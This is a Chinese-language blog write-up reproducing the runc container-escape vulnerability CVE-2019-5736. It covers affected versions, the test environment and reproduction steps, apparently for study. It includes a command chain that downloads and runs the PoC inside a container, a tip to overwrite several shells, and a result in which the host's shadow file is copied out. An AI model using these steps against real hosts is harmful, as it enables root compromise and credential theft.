本文简述CVE-2019-5736 的漏洞信息并记录一下复现过程,最后演示一下实际场景中的RCE利用效果。

0x01 漏洞详情

CVE-2019-5736是2019年2月11日在oss-security邮件列表披露的runc容器逃逸漏洞。

首先翻译一下mitre中的描述。在Docker 18.09.2之前的版本中使用了的runc版本小于1.0-rc6,因此允许攻击者重写宿主机上的runc 二进制文件,因此可以感觉以root的身份执行命令,导致获得宿主机的root权限。利用方式:

  1. 宿主机利用攻击者提供的image来创建一个新的container 。或
  2. 拥有container root权限,并且该container后续被docker exec attach。

一句话描述,docker 18.09.2之前的runc存在漏洞,攻击者可以修改runc的二进制文件导致提权。

影响:

  • docker version <=18.09.2 (然而实际测试的结果是docker version 18.09.1失败)
  • RunC version <=1.0-rc6

REF: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-5736

0x02 环境准备

环境:

OS: centos7
$ docker --version
Docker version 18.06.0-ce, build 0ffa825

$ runc --version
runc version 1.0.0-rc6+dev
commit: 2b18fe1d885ee5083ef9f0838fee39b62d653e30
spec: 1.0.1-dev

# Notice
# I tried to reproduce the vuln on docker 18.09.1 but failed.
# After ran POC,you can only see: Successfully got the file handle.
# Docker version 18.09.1, build 4c52b90

自动化安装vuln docker的bash script:

POC:

0x03 利用过程

由于有两种攻击场景,这里使用比较常见的第二种场景。

  1. 根据bash script安装好vulnerable docker
  2. 下载编译container中需要用到的poc
  3. 执行poc(为增加攻击成功概率,可以再修改/bin/sh,/bin/bash,/bin/zsh等文件,那么docker exec即使是非交互模式下执行命令时也会触发)
  4. 等待宿主机中执行docker exec命令

参考bash script,这里在啰嗦一下实际场景中需要的步骤:

  1. 在macOS上使用go交叉编译POC

    CGO_ENABLED=0 GOOS=linux GOARCH=amd64  go build main.go
    
  2. 在docker的container中执行:

    # need root privillege...
    apt-get update -y && \
    apt-get install libseccomp-dev -y && \
    apt-get install curl -y && \
    curl POC -o ./poc && \
    chmod u+x ./poc && \
    # 执行poc
    $ ./poc
    [+] Overwritten /bin/sh successfully
  3. 等待宿主机执行docker exec命令后,./poc的输出如下:
    image-20190523104339535

  4. 在宿主机上我们发现:POC中的command被执行:,shadow文件被copy到tmp目录下。

    (对于宿主机而言,docker exec时会报错,但是不影响命令的执行。这里出现seccomp_version的原因是安装的seccomp-dev版本过低。如果版本没问题,会报错No help topic for /bin/sh)
    image-20190523104500665

0x04 RCE效果演示

0x05 漏洞分析

这个漏洞的发现过程也很有意思。灵感来源于35C3的CTF比赛。这里先贴一下两篇深度好文,有时间具体分析一下。

  1. 影响大量云服务厂商的严重漏洞:runC容器逃逸漏洞分析(CVE-2019-5736)https://www.4hou.com/vulnerable/16165.html
  2. 打破Docker:runC容器逃逸漏洞的深入分析及多种利用方法(CVE-2019-5736) https://www.4hou.com/vulnerable/16361.html

0x06 参考

漏洞mail list:

漏洞修复:

其他: